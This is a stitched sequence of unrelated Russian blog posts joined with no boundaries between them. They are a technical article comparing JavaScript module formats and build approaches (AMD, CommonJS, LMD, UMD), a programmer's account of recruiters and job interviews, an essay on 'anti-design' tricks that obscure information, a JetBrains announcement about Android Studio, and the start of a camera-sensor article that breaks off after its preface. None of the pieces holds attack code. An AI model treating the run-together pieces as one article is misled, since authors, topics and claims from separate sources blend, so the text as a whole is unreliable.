Сегодня собирается практически все и модули в том числе. Даже если вы не используете CoffeeScript и AMD, то вы в любом случае собираете ваш проект: конкатенируете файлы, сжимаете их.
Без сборки
Все в HTML
<script src="deps/dep1.js"/>
<script src="deps/dep2.js"/>
<script src="moduleName.js"/>
Это просто
При увеличение количества модулей приложение перестает быть поддерживаемым и начинает тормозить из-за увеличения числа запросов
Смешение сущностей HTML и декларация модуля
Новая сборка — новый .html
Сборка модулей. Конкатенация файлов по маске
Собираем
$ cat **/*.js > build.js
Используем
<script src="build.js"/>
Это достаточно просто
Загружается только 1 файл
Для каждого типа сборки нужно создавать новые скрипты
Файлы могут собираться в произвольном порядке в разных OS и FS
Сборка модулей. Препроцессинг
Способ заключается в поиске специальных «меток» в файлах — include('path/name.js') или // include path/name.js и подобных
include('deps/dep1.js');
include('deps/dep2.js');
var moduleName = function () {
return dep1 + dep2;
};
Все это разворачивается специальной утилитой в такой формат.
/* start of deps/dep1.js */
var dep1 = 1;
/* end of deps/dep1.js */
/* start of deps/dep2.js */
var dep2 = 2;
/* end of deps/dep2.js */
var moduleName = function () {
return dep1 + dep2;
};
Соответственно у вложенных модулей могут быть еще зависимости и они также будут загружены рекурсивно.
Собирается только 1 файл
Можно сделать какое-никакое «наследование конфигов»
Для каждого типа сборки нужно создавать новый файл с перечислением всех include
Если препроцессор глупый то возможен дубликат кода и другие артефакты
При неправильном использовании возможна инъекция кода в модуль
Инъекция кода в модуль ведет к нарушению целостности модуля, влечет проблемы с "use strict", конфликтом имен и прочим неприятностям.
Вот типичный пример
(function () {
"use strict";
var i = 3;
include('dep1'); // Не корректное подключение зависимости
return dep1 + i;
})();
И его зависимость
var i = 4,
dep = 01234;
Думаю, вы поняли последствия ;-)
Сборка модулей. Статический анализ зависимостей
Статический анализ контента модуля с поиском зависимостей. Такой способ использует r.js (сборщик RequireJS модулей) и browserify (адаптор CommonJS модулей и Node.js инфраструктуры под браузер). Они используют AST парсер, ищут вызовы define/require и таким образом находят зависимости и в отличии от include помещают эти зависимости вне модуля.
Например вот такой модуль
require(['dep1', 'dep2'], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
если его прогнать через r.js будет переделан вот в такой вид
define('dep1', [], function () {
return 1;
});
define('dep2', [], function () {
return 2;
});
require(['dep1', 'dep2'], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
browserify ведет себя подобным образом, но собирает в формат посложнее
Собирается только 1 файл
Все зависимости прописаны в самом модуле
Для каждого типа сборки нужно создавать новый файл или делать магию с симлинками
Препроцессор может не найти некоторые зависимости (Динамически конструируемые имена модулей)
Для исправления предыдущего пункта нужно писать конфиг, чтобы включить эти модули
Сбока модулей. Сборка из конфига
Тут достаточно все очевидно. В конфиге написаны какие модули нужны. Сборщик их включает в сборку и находит зависимости. Затем результат сборки проверяется статически анализатором, который советует что-то добавить или что-то убрать.
Такой способ использует LMD.
{
"root": "../js",
"modules": {
"main": "main.js",
"dep1": "deps/dep1.js",
"dep2": "deps/dep2.js"
}
}
Вариант, конечно, интересный, но зачем 2 раза писать одно и то же и в модуле и в конфиге?!
Это легко объясняется. LMD не знает о файловой системе, и конфиг фактически является абстрактной файловой системой. Это позволяет не задумываться об относительных путях и во время переноса/переименования модуля не бегать и не менять пути по всему проекту. Используя абстрактную ФС становится возможным получить дешевую Dependency Injection для локализации, подмены конфигов среды и прочих оптимизаций. Еще бывает так, что модули подключаются динамически и статический анализатор не может их найти физически, поэтому приходится вносить запись о модуле в конфиг. Понятно, что прописывать каждый раз модуль в конфиг это шаг назад, поэтому в LMD имеется возможность подключать целые директории с сабдиректориями, используя glob-инг и своеобразный rewrite rule.
Вот этот конфиг идентичен предыдущему
{
"root": "../js",
"modules": {
"<%= file %>": "**/*.js"
}
}
Вы определяете какие файлы нужны, а потом пишете шаблон и тем самым говорите как их нужно представить этот модуль LMD. Для определения имени LMD использует шаблонизатор из lodash, поэтому можно писать и более хитрые конструкции:
{
"root": "../js",
"modules": {
"<%= file %><%= dir[0][0].toUpperCase() %><%= dir[0].slice(1, -1) %>": "{controllers,models,views}/*.js"
}
}
Итоги этого способа такие:
Наглядно — все дерево проекта можно описать в одном файле
Надежно — исключены ошибки анализатора
Абстрактная файловая система
Нужно писать конфиг
Нужен сборщик
Инициализация и интерпретация модуля
Это достаточно важный момент, который позволяет сократить лаг при старте приложения, когда выполняется куча кода. Когда код попадает на страницу он инициализируется (написали функцию — она зарегистрировалась под каким-то именем) при инициализации код парсится, валидируется и перегоняется в AST для дальнейшей интерпретации и возможной JIT компиляции. Когда какая-либо функция вызывается ее код интерпретируется.
Функция не инициализирована и не интерпретирована. Инициализируется только JavaScript строка.
'function a() {return Math.PI;}';
Функция инициализирована.
function a() {
return Math.PI;
}
Функция инициализирована и интерпретирована.
function a() {
return Math.PI;
}
a();
Каждая декларация функции и ее вызов занимает какое-то время, особенно на мобильных, поэтому хорошо бы уменьшить это время.
Инициализируется и интерпретируется при старте
Модуль поставляется как есть и выполняется при старте программы. Даже если он нам не нужен прям сейчас. Как видите в модуле есть какие-то циклы, которые могут замедлить работу.
var dep1 = (function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
})();
Не нужно использовать дополнительные средства
Если код не большой, то время инициализации не существенно
При увеличении объема кода начинает проявляться Startup Latency
Инициализируется при старте, интерпретируется по требованию
Достаточно популярный сейчас способ, который используют и AMD и модули в Node.js
define('dep1', [], function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
});
Этот модуль будет инициализирован при старте. Но его тело будет выполнено по требованию, а результат return b; закэширован и при следующем вызове интерпретация проходить не будет.
Не нужно особо сильно менять вид модуля
Startup Latency существенно сокращается при большом объема кода
Нужна дополнительная библиотека
Инициализируется и интерпретируется по требованию
Небольшая модификация предыдущего метода, позволяющая отложить инициализацию кода. Используется, в основном, для оптимизации загрузки кода на мобильных устройствах. Такую оптимизацию можно сделать для RequireJS и для LMD.
Кусок сборки LMD (не конфиг)
{
'dep1': '(function(){var a=10,b="";for(var i=0;i<a;i++){b+=i;}return b;})'
}
Когда какой-то модуль потребует ресурсы модуля dep1, то LMD интерпретирует и инициализирует этот код.
Примерно вот так так:
var resources = new Function('return ' + modules['dep1'])()(require, module, exports);
Время инициализиции кода через new Function может быть немного медленнее, чем через честную инициализацию, но если такую оптимизацию применять с умом, то мы можем выиграть время при старте. Порожденный код через new Function, в отличии от eval(), может быть оптимизирован JIT-компилятором.
Эта операция прозрачна для разработчика
Нужна дополнительная библиотека
Нужно правильно применять
Загрузка внешних зависимостей
Как я уже сказал, в JavaScript@DOM своя атмосфера, поэтому привычные способы загрузки модулей тут не работают. Модули лежат удаленно и их синхронная загрузка не реальна. Если в десктопном приложении мы можем синхронно прилинковать библиотеку «со скоростью света», то в JavaScript@DOM такое вряд-ли реально из-за блокировки EventLoop.
Загружать все сразу мы так же не можем, поэтому приходится что-то придумывать и страдать :)
Загрузчик неуправляемого модуля
Под неупровляемым модулем я понимаю просто любой код, который не требует какой-то дополнительной обработки. Таким загрузчиком, например, является jQuery.getScript(file)
Делает он примерно следующее:
var script = document.createElement('script');
script.src = file;
script.onload = done;
document.head.appendChild(script);
Если загружать несколько модулей одновременно, то выполнятся они в порядке загрузки. Бывает так, что нужно выполнить модули в порядке их перечисления. Библиотека LAB.js, например, использует XHR для одновременной загрузки кода скриптов, а потом выполняет этот код последовательно. XHR, в свою очередь, вносит свои ограничения.
$LAB
.script("framework.js").wait()
.script("plugin.framework.js");
Остальные загрузчики, вроде YepNope и script.js делаю примертно то же самое.
Дешевое решение
Могут быть ограничения со стороны XHR или дополнительной писанины
Загрузчик «управляемого» модуля
Любая взрослая модульная система поставляется с собственным загрузчиком и может загружать любые модули и их зависимости. Например, это делает функция require() и define() из RequireJS.
Функция require() из RequireJS загрузит необходимые зависимости и зависимости зависимостей и выполнит код этих модулей в указанном порядке.
require(['dep1', 'dep2'], function (dep1, dep2) {
console.log(dep1 + dep2);
});
В LMD, например, есть такое понятие как бандл — несколько модулей, собранных в один файл. При загрузке этого бандла все его модули становятся доступны любому модулю.
_e4fg43a({
'dep1': function () {
return 1;
},
'dep2': 2,
'string': 'Hello, <%= name %>!'
});
require.bundle('name').then(function () {
// do stuff
});
Управление как загрузкой модулей так и их инициализацией
Практически прозрачная для разработчика загрузка
Требует дополнительных инструментов и конфигурации
Изоляция модулей
Защищенность модулей или их изоляция нужна, скорее для разработчиков, чем для тех, кто ломает их труды. Прямой и хаотичный доступ к свойствам модулей может при неправильном использовании «испортить код». С другой стороны если в глобальной области видимости нет следов вашего JavaScript, то исследователю вашего кода будет сложнее понять и «сломать» что-то, но тут больше вопрос времени.
Модули не изолированы
Модуль или какие-то его части доступны глобально, любой разработчик из любого места может взять и использовать.
var dep1 = (function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
})();
Опять же это просто
Не нужны инструменты
Нужно задумывать о пространствах имен
Нет разделения труда у модуля. Он и делает свое дело он же и управляет получением зависимостей
Модули изолированы
Модуль не доступен глобально, но его можно получить зная имя — require('pewpew'). Скрытие, как я уже сказал, это не цель модульной системы, а следствие. В AMD есть 2 функции с помощью которых можно так или иначе получить доступ к модулю — это require() и define(). Достаточно только знать кодовое имя модуля, чтобы получить его ресурсы.
define('dep3', ['dep1', 'dep2'], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
Модули изолированы от других модулей и нельзя слуайно что-то испортить
Доступ к другому модулю декларируется явно
Нужны специальные библиотеки для работы с такими модулями
Модули тотально изолированы
Цель таких модулей сделать так, чтобы нельзя было достучаться до модуля извне. Думаю, многие уже видели такие «модули», вот, например:
$(function () {
var dep1 = (function () {
var a = 10,
b = '';
for (var i = 0; i < a; i++) {
b += i;
}
return b;
})();
$('button').click(function () {
console.log(dep1);
});
});
Фактически это тотально изолированный модуль, до его внутренностей нельзя достучаться извне. Но это пример одного модуля. Если каждый такой модуль оборачивать в «замыкание», то они не смогут взаимодействовать. Для изоляции нескольких модулей их можно поместить в общую область видимости или прокидывать в их области видимости какие-то общие ресурсы. С помощью этих ресурсов такие модули смогут общаться друг с другом.
Достаточно обернуть такие модули в IEFE:
(function () {
/* start of deps/dep1.js */
var dep1 = 1;
/* start of deps/dep2.js */
var dep2 = 2;
var moduleName = function () {
return dep1 + dep2;
};
})();
Такой способ сборки использует, например, jQuery.
LMD и browserify так же тотально изолируют модули от окружающей среды, но в отличии от сборки «все-в-одном» их модули изолируются от друг друга и от «управляющей части» сборки.
Собираются они примерно вот в такую структуру:
(function (main, modules) {
function lmd_require() {}
// ...
main(lmd_require);
})
(function (require) {
var dep1 = require('dep1');
// ...
}, {
dep1: function (r,m,e) {}
});
В простом случае тотальной изоляции можно легко добиться
Для остальных случаев нужны дополнительные инструменты
Сравнительная таблица популярных эмуляторов модулей в JavaScript
|
AMD,YUI |
ES6 |
CJS/LMD |
IEFE |
| Разрешение зависимостей |
В модуле+конфиг |
В модуле |
В конфиге |
Ручное |
| Доступ к зависимостям |
Динамический |
Декларативный |
Динамический |
Произвольный |
| Экспорт |
С произвольныйм именем |
Честный import/export |
С произвольныйм именем |
Хаотичный/Неуправляемый |
| Сбока модулей |
Статический анализ |
Не нужна/Конкатенация |
Сборка из конфига |
Конкатенация |
| Интерпретация модуля |
По требованию |
Нативное решение |
По требованию |
При старте |
| Изоляция модулей |
Изолированы |
Изолированы |
Тотально изолированы |
Не изолированы |
Распостраненные форматы модулей
И напоследок немного справочной информации по существующим сегодня «эмуляторам» модульности в JavaScript.
No module
var moduleName = function () {
return dep1 + dep2;
};
Namespace
var MyNs.moduleName = function () {
return MyNs.dep1 + MyNs.dep2;
};
IIFE return
var moduleName = (function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
}(dep1, dep2));
IIFE exports
(function (exports, dep1, dep2) {
exports.moduleName = function () {
return dep1 + dep2;
};
}(window, dep1, dep2));
AMD
YUI модули семнтически схожи с AMD. Не буду их демонстрировать.
define(["dep1", "dep2"], function (dep1, dep2) {
return function () {
return dep1 + dep2;
};
});
AMD обертка для CommonJS
define(function (require, module, exports) {
var dep1 = require('dep1'),
dep2 = require('dep2');
module.exports = function () {
return dep1 + dep2;
};
});
CommonJS
var dep1 = require('dep1'),
dep2 = require('dep2');
module.exports = function () {
return dep1 + dep2;
};
UMD
Видно, что сейчас есть минимум 3 формата модулей, которые нужно поддерживать. Одно дело если вы пишете свой проект и можете писать на чем угодно. Другое же дело Open-Source проекты в которых хорошо бы поддерживать все форматы. Все эти модули это всего лишь разные обертки, которые по сути делают одно и то же — забирают ресурсы и предоставляют ресурсы. Не так давно появился проект UMD: Universal Module Definition, который «стандартизировал» универсальную обертку под все форматы.
(function (root, factory) {
if (typeof exports === 'object') {
// Формат 1: CommonJS
factory(exports, require('dep1'), require('dep2'));
} else if (typeof define === 'function' && define.amd) {
// Формат 2: AMD (анонимный модуль)
define(['exports', 'dep1', 'dep2'], factory);
} else {
// Формат 3: Экспорт в глобалы
factory(window, root.dep1, root.dep2);
}
})(this, function (exports, dep1, dep2) {
// Экспортируем
exports.moduleName = function () {
return dep1 + dep2;
};
});
Понятно, что в разработке такое использовать как-то странно, но на «экспорт» самое то.
Почитать
- JavaScript Module Pattern: In-Depth
- Creating YUI Modules
- Writing Modular JavaScript With AMD, CommonJS & ES Harmony
- Why AMD?
- AMD is Not the Answer
- Why not AMD?
- Proposal ES6 Modules
- Playing with ECMAScript.Harmony Modules using Traceur
- Author In ES6, Transpile To ES5 As A Build-step: A Workflow For Grunt
Ошибки и опечатки шлите, пожалуйста, в ЛС.
Ни для кого не секрет, что программисты сейчас востребованы, и найти работу программисту с опытом не составляет труда. Спрос нынче больше предложения.
В этом посте я хочу описать свой опыт и наблюдения, которые я сделал после прохождения нескольких собеседований. Буду рад, если его прочитают не только соискатели, но и работодатели.
Небольшой дискламмер. Я программист и пишу с точки зрения программиста. Я сейчас не ищу работу. Я не представляю и не рекламирую ни одну из компаний, упомянутых в этом посте. Я получил оффер примерно от 6 из 9 компаний, где проходил собеседование. Я не вижу ничего плохого в том, чтобы открыто писать названия некоторых компаний, потому что они сами не делают тайны из своей деятельности и открыто публикуют свои вакансии. От моих рук ни один хедхантер не пострадал.
После нескольких лет работы программистом в офисе, я получил какой-то опыт, знания и желание попробовать себя в некоторых смежных ролях — тимлида или старшего разработчика. Это было не обязательное условие — я был не против устроиться рядовым программистом в сильную команду, но было одно важное условие: проект должен был быть мне интересен и приносить пользу людям. Но не об этом речь в данном посте, а про собственно процесс поиска работы.
Вот у нас есть резюме на hh.ru и/или профиль на Моём Круге, где мы описали технологии, с которыми работали и некоторый наш опыт. Мы указали в резюме, что сейчас ищем работу и сами заодно с интересом просматриваем вакансии.
Рекрутинговые агентства
Первое, с чем мы сталкиваемся, — это хедхантеры. Бич IT-современности. Они налетают на вас как мухи на говно — ведь за каждого устроенного соискателя они получают очень солидные деньги. И ладно бы была от них какая-то польза, но по факту 95% процентов из них своих денег не стоят и вместо пользы приносят только вред.
Уважаемые работодатели, прошу, умоляю вас, не пользуйтесь услугами этих сомнительных контор вообще, или хотя бы ищите достойную контору. Если у вас есть такая возможность, выделите часть времени вашего программиста или тимлида для собеседования соискателей.
Большинство таких хедхантеров имеют следующие особенности:
- они в принципе не владеют предметной областью программирования;
- они очень расплывчато представляют, что нужно компании от вас;
- они вообще не представляют, чем занимается компания, и о чём, собственно, проект, на который вас приглашают.
При этом они:
- зачастую не дают даже текст вакансии или дают его в общем виде (только требования);
- не говорят название компании и её адрес, потому что боятся, что вы туда устроитесь мимо них.
Уважаемые работодатели, если вы пропустили прошлый мой абзац-просьбу к вам, то прошу, умоляю вас, не пользуйтесь услугами этих сомнительных контор вообще, или хотя бы ищите достойную контору. Такие конторы не только отнимают время программистов и отваживают от вас потенциальных работников, но и портят имидж вам как работодателю.
Среди множества таких горе-контор, хочу выделить одну особенную. PRUFFI. Помимо общей некомпетентности их девочек-хедхантеров в вопросах IT, я столкнулся с некоторой фамильярностью в общении со стороны нескольких их сотрудников и абсолютным пренебрежением всеми нормами человеческого общения со стороны одной из них. Она мало того, что безжалостно спамила меня своими предложениями, называя меня совершенно различными чужими именами (просто копи-паст писем), но даже более того, додумалась разослать сообщение моим друзьям вконтакте с просьбой срочно дать ей мой телефон для очень важного дела. В итоге одним утром мне позвонили несколько моих друзей с вопросом «можно ли дать какой-то странной девушке твой номер телефона?».
С многими другими вольными хедхантерами у меня чаще всего был похожий — отрицательный или «никакой» — опыт. Просто он не запомнился мне чем-то особенно ярким.
Но справедливости ради, хочу сказать, что был и положительный опыт. Было и несколько хороших хедхантеров, которые мне запомнились своей доброжелательностью (искренной, а не слащавой), высокой квалификацией и хорошим чувством юмора. Например, хедхантеры из компании «Генералист» (с ними работает «Связной»), очень подробно описали мне конкретные проекты, на которые меня приглашали. Познакомили меня с деятельностью и планами компаний, вакансии которых предлагают, настолько подробно, как будто сами в них работают, причём не на последних должностях. И, что немаловажно, областью веб-разработки владеют тоже на уровне. Знают, что Postgres и MySQL — это базы данных, и что опыт с этими технологиями может быть взаимозаменяем. Знают, какие технологии относятся к бекенду, какие к фронтенду, и задают грамотные вопросы.
Хотя знаете, я бы всё равно предпочёл общаться с представителем компании, в которую устраиваюсь, а не с рекрутинговым агентством.
Собственно, собеседования.
Уважаемые работодатели, прежде чем приглашать на собеседование, потрудитесь, пожалуйста, рассказать, кто вы вообще такие, чем занимаетесь, что вы хотите от разработчика и что готовы ему дать. Этим вы сэкономите время — своё и чужое.
На самом деле, в этой области всё намного более позитивно. Проводя тщательный отсев на уровне поиска работодателей, уже на собеседованиях мне попадались в основном позитивные люди.
Понравилось общаться с компаниями «Связной», «Имхонет», «ГдеЭтотДом» и многими другими. Чаще всего была очень продуктивная 1-2-3-часовая беседа с тимлидом или несколькими, интересная обеим сторонам. Меня не спрашивали, почему крышка люка круглая. Всё больше интересовались, чем же всё-таки абстрактный класс отличается от интерфейса :)
Иногда во время собеседования предлагали небольшие письменные тесты, чтобы было о чём говорить предметно.
Только в Ютинет/Мегаплане меня встретили не технари, а кадровики, которые предложили написать мне тест минут на 30 на каком-то огрызке стола, где также писали свои тесты курьеры и другие соискатели на разные должности. При дальнейшем общении эта компания показала себя только с лучшей стороны во всех вопросах, и я бы даже сказал, что во многом она может быть эталоном в организации и работе отделов разработки. Но первое желание у меня было предложить кадровикам засунуть этот тест себе куда-нибудь. На фоне других компаний, где тимлиды встречают нового разработчика как потенциального члена их будущей команды и помощника в решении их проблем, подход «вот тебе бумажка — сиди решай или до свидания» (при том, что сами пригласили) смотрится довольно печально.
Мой опыт, который может быть полезным соискателям
- Как можно точнее решите для себя, что вам нужно. Неважно, интересная ли это работа, много денег, интересный коллектив, профессиональный и карьерный рост, офис через дорогу или отпуск длиной в месяц — решите, что нужно именно вам и ищите работу именно из этих приоритетов. С точными требованиями работа находится намного быстрее, чем с абстрактными.
- Сформулируйте все свои требования и не забудьте об этом сказать работодателю. Если вы работаете только на маке, или вам необходимы открытые окна, если вы хотите иногда работать дома или привыкли отдыхать дольше двух недель подряд, то лучше сказать об этом сразу, чем надеяться, что эти вопросы решатся по ходу. Могут решиться, а могут стать камнем преткновения, которые потом перерастут в конфликты и недовольство.
- Зачастую, если специалист вашего уровня имеет среднерыночную зарплату 100 тысяч, то можно найти компанию, которая по каким-то соображениям готова платить не больше 80 и договориться на некоторые плюшки, как частично удалённая работа, более свободный график или неполный рабочий день.
Буду очень рад, если написанное мной кому-то поможет. Желаю всем хорошего дня, соискателям — найти интересную работу, а работодателям — хороших сотрудников.
Апдейт. Всё-таки не понимаю я Хабр. Совсем. Когда-то давно, в 2009 году, я написал статью про многопоточность на PHP. С профессиональной точки зрения она была средненькой, но я вложил в неё душу и все свои знания на тот момент. Меня заминусовали, и статью пришлось удалить. Сейчас написал статью «ни о чём». Точнее, о том, что и так всем известно. Приукрасил несколькими сюсю-мусю из своих похождений. И был готов морально к тому, что меня опять заминусуют. И вдруг статья лучшая за 24 часа… Столько плюсов, комментов, добавлений в избранное.
Люди, а что я такого ценного то написал? Может, я просто сам ещё не понял?
[Уже появилась и Часть 3]
Дизайнеры всегда стремятся улучшить свою работу. Профессионалы непрерывно учатся, общаются, стремятся узнать новые идеи — все это помогает решать проблемы людей более правильно, быстро и качественно.
Но что, если не все дизайнеры применяют свое мастерство для решения проблем, которые мы считаем достойными? Что если не все стараются облегчить доступ к информации, упорядочить ее, красиво оформить, дать потребителю именно в том месте, где она ему нужна?
Не так давно, я написал статью под названием "Антидизайн". В ней я говорил о том, что при применяя законы дизайна наоборот различные организации специально путают людей, затрудняют восприятие информации и получают от этого прибыль.
Антидизайн — (здесь) намеренное усложнение доступа к информации, которая обязана быть открытой, с целью получения выгоды.
Меня волнует эта тема. Я решил развить ее и в следующих статьях покажу основные приемы антидизайна. Заметив их в обычной жизни, вы можете догаться что это не просто кривизна чьих-то рук, но осознаваемый умысел. Возможно, вы заметите как вас хотят запутать, смутить, пытаются манипулировать вами.
В этой статье я начну с разбора очевидных, прямых и явных способов антидизайна.
1. Кодирование
Самым простым путем ограничить доступ к информации является кодирование. Его неуместное применение в несколько тысяч миллионов раз замедлит усвоение и восприятие информации. Сделает невозможным ее анализ.
Когда люди сталкиваются с отказом в визе, они видят только свой паспорт с каким-то штампом и буквами. Существует сразу несколько мнений о том что значат эти буквы: просто тип визы или зашифрованная причина отказа. Некоторые конторы даже умудряются получать деньги за трактовку кодов посольств.
Но на этом примере мы видим простое отсутствие расшифровки кодов. Антидизайн же применяется когда вся необходимая информация должна быть человеку предоставлена. Тут, на «помощь» может прийти способ кодирования и форма расположения самих закодированных данных.
Дальше — под катом.
На таком графике хорошо заметны лишь сильно различающиеся величины, но старательно затруднена идентификация их принадлежности, а тем более анализ. Попробуйте понять на что потрачено больше: на фрукты или молоко? Движения ваших глаз начнут напоминать движения миксера, и через малое время мозг потребует прекратить безобразие и рубанет миксеру электричество.
Это всего лишь гипотетический график семейного бюджета. Не серьезно? Но если бы это не муж хотел скрыть от жены-экономиста-скряги свои пивные делишки, а нерадивый менеджер результаты квартала от директора? Или ваш подрядчик результаты продвижения?
Хотя есть способ кодирования, который практически незаметен. Если только не начать думать, вы будете уверены, что сейчас самое время прикупить хатку с двумя джакузи на Остоженке, ведь она стоит столько же, сколько два года назад, драматически обвалившись в цене. Денег хватит даже на наложницу.
Но стойте. Ведь здесь цены закодированы любимым способом всех торговцев с девяностых годов — магическими заклинанием «у.е». Если перевести цены в рубли, картина мгновенно преображается.
Посмотрите на обещания из телевизора «Машина по цене 2008 года! Спешите!». А теперь переведите ее в рубли. Стенания купцов о кризисе как-то сразу становятся менее убедительными, ведь во многих случаях они просто вас обманывают.
2. Инфошум
Ну с этим все понятно. Чаще всего, конечно, здесь не злокозненное применение законов дизайна, а их незнание. Поэтому эффект антидизайна может быть случайным. Выгоду здесь получают сами оформители — продуцируя «дизайны» показывают заказчику трудоемкость своей работы.
Вообще, инфошум, замусоривание, задизайнивание — в разных случаях это явления одного правила 1 + 1 = 3. Размещение одного функционального элемента и одно декоративного порождает еще один декоративный, образующися в промежутках между ними, перегружающий мозг, мешающий воспринять информацию.
Если грамотно окружить фактурными рамочками предупреждени о вреде алкоголя, многие люди его просто не увидят. Купив сироп от кашля, вы будете думать, что та пометка на нем — часть орнамента и смысл ее никчемен.
3. Сырые данные
В этом методе упорядочивание и оформление может быть грамотно и красиво применено. Но только к информации, которая сама по себе несет мало пользы. Большими таблицами с данными исследований можно иллюстрировать любую мысль. Статистические записи прибылей компаний — участников очередного рейтинга покажутся вам убедительными, но сколько людей полезут в этих данных разбираться?
Формально, в таблице котировок акций ничего не спрятано и не закодировано, но тысячи компаний делают деньги на обработке этих данных. Пакеты анализа логов сервера могут стоить много долларов.
В принципе, ничего предосудительного в этом нет. Ведь компании тратят силы на анализ данных и ресурсы на разработку инструментов его проведения. Логично платить за эти их труды.
Но непонятно до истерики почему нужно платить за… эм… анализ? обработку? Нет, за ограничение доступа к моим же собственным данным!
Здесь я бы хотел ввести один новый термин:
Эскимос — (здесь, сокр. от «продавать снег эскимосам») функционал, чье назначение брать деньги за трудозатратно необоснованные манипуляции с данными, которые и так доступны.
Эскимосы — пожалуй самые раздражительные примеры антидизайна. Но что еще больше раздражает — всегда найдутся люди, которые этот снег купят.
4. Ложный контекст
О! Нескончаемый поток примеров этого вида антидизайна можно получить, если просто включить новости. Телек, конечно, это не совсем дизайн, но ничто не мешает использовать те же методы, скажем, в пропагандирующих листовках, плакатах, баннерах, газетах.
Приплести какое-либо событие к какому-нибудь другому процессу — получите пиар-статью и распишитесь. Пришить разноцветными нитками крупными стежками можно что угодно к чему угодно. Причем это работает во все возможные стороны.
Медведев отреагировал на жалобу в блоге + плохое состояние больниц = возрождение медицинской системы.
Медведев отреагировал на жалобу в блоге + а сегодня не отреагировал = показуха и обман народа.
Чтобы понять что вообще происходит, нужно знать что было на самом деле. Может быть Медведев просто в фанты проспорил сделать благо за 24 часа, но мы же не узнаем никогда этого. Как и кучу других вещей, которые мы видим только помещенными в неоригинальный контекст.
5. Временной срез
Горепиарщики так же очень любят этот метод. Продемонстрировав какую-нибудь эффектную цифру или отрезок, они незамедлительно объявляют Достижение, Тренд или Кризис. Хотя на самом деле смущенно умалчивают о других цифрах, которые ее окружают.
Чтобы понять реальное состояние дел, надо отстраниться, отойти подальше, чтобы увидеть больше.
Грандиозно запудрить головы красивыми цифрами можно подогнав их к какому-нибудь знаменательному событию. Например, можно эксплуатировать хабраэффект. Вставить на известном ресурсе ссылку на себя:
http://nordisk.pp.ru/design/
А затем говорить рекламодателям и спонсорам о сногсшибательной посещаемости своего сайта.
И под страхом смерти не упоминать, что завтра все кардинально изменится. Вдруг, прокатит.
(Эх, блин, так хорошо придумал. Жалко, что я ненавижу рекламу и у меня нет спонсоров :(
6. Ложное изображение
Первая идея в том, что злопыхатель иллюстрирует свои данные картинками, не соответствующих этим данным размеров.
Осторожные махинаторы всегда могут свалить на «декоративность» рисунков, но им нельзя этого позволять.
Тогда они могут мухлевать с самими данными. На этой картинке показаны два графика цен на нефть: с учетом инфляции и без. Представьте, как можно давить на людское мнение, если показать только один из них
Наконец, если и тут раскроют, можно дать вид на предмет обсуждения с другого угла обзора, никак не относящегося к делу, зато красивого и выигрышного.
Ведь на этом проекте дизайна стрелочки заценят разве только жители верхних этажей, да милиционеры на вертолетах. Пользователям остановки — пешеходам — на них наплевать, потому что они видят конструкцию под другим углом.
7. Усложнение простого
Мысль человека подобна дереву. Начиная с простого, она ветвится и множится, делясь и развиваясь в разных направлениях. Очень часто за наростами рассуждений и уточнений становится не разглядеть основной идеи.
Такую корне-ветвистую систему представляют собой почти все законодательные книжки. Некий процесс начинает регулироваться неким образом, потом нарастают уточнения регулирования, потом почкуются исключения из регулирования, потом ветвятся двусмысленные толкования исключений из регулирования — и так до бесконечности: дополнения, разъяснения, ссылки.
Гипергипертекст — текст с кучей ссылок на другие части, которые ссылаются на третьи части, а те на первые и пятые, в которых нет упоминания о вторых, но есть о шестых.
Не надо бояться нечетко выразить процесс. Вот российские правила дорожного движения, где пытаются описать где нельзя ставить машину.
Этот «выпуклый перелом продольного профиля» — попытка однозначно определить местность, но все равно будут существовать исключения и уточнения, потому что мир бесконечно разнообразен. Надо остановиться. Надо ставить цель продукта — регулировать движение и быть легко запоминаемым — превыше юридических тонкостей. Вот тот же самый пункт в английском переводе норвежских ПДД:
Усложенение простого буквально порождает жизнь, которая как бактерии живет и множится на многочисленных ветках и листиках.
Узел усложнения простого никогда нельзя развязать, он запутается еще больше — его надо рубить.
Заключение
Смысл дизайнерского искусства заключается в том, чтобы помогать людям решать их проблемы. Но еще дизайн — это оружие, поражающее человеческий разум.
Дизайн предлагает порядок и красоту, дает готовое решение там, где человеку пришлось бы тратить время на его достижение. Но это значит, что он может блокировать процесс размышления и навязать решение, которое выгодно злоумышленнику. Это — антидизайн
Много компаний получают выгоду от применения антидизайна. Они обманывают вас, влияют на ваши решения, не дают информацию, важную для вашего здоровья и кошелька. В этих компаниях работают талантливые люди, но их талант направлен на ложь и обогащение за ваш счет. Очевидные методы, которые они используют, я описал в этой статье. В следующей я перейду к более хитроумным, скрытым и опасным манипуляциям.
Срочно в номер — только что объявлено на Google I/O:
платформа IntelliJ, разработанная JetBrains, стала основой для нового продукта Google — Android Studio. На платформе IntelliJ построена большая часть продуктов JetBrains — от всемирно известной IntelliJ IDEA до быстро набирающих популярность специализированных IDE — PhpStorm, PyCharm, RubyMine и других.
Коммерческая версия IntelliJ IDEA поддерживает 50 языков программирования и более 150 фреймворков, а среди разработчиков приложений для Android особое признание получила IntelliJ IDEA Community Edition, версия IntelliJ IDEA с открытым кодом.
Именно эта IDE и заинтересовала наших коллег из Google благодаря широкой функциональности, открытости и высоким оценкам сообщества. Разработчики Google пригласили нас к сотрудничеству в работе над Android Studio — новой IDE для разработчиков под Android, основанной на платформе IntelliJ и расширяющей функциональность IntelliJ IDEA Community Edition. Мы с удовольствием приняли приглашение.
При этом IntelliJ IDEA Community Edition продолжает развиваться, JetBrains предоставляет ее по-прежнему бесплатно с исходными кодами. Мы рады предлагать сообществу самую умную IDE для разработки на Java, и гордимся своим вкладом в новый инструмент от Google.
Предисловие
Два месяца тому назад в статье, посвящённой сравнению LCD и E-Ink дисплеев, я упомянул, что одним из следующих обзоров будет «вскрытие» матрицы современного фотоаппарата. И спешу исполнить данное обещание!
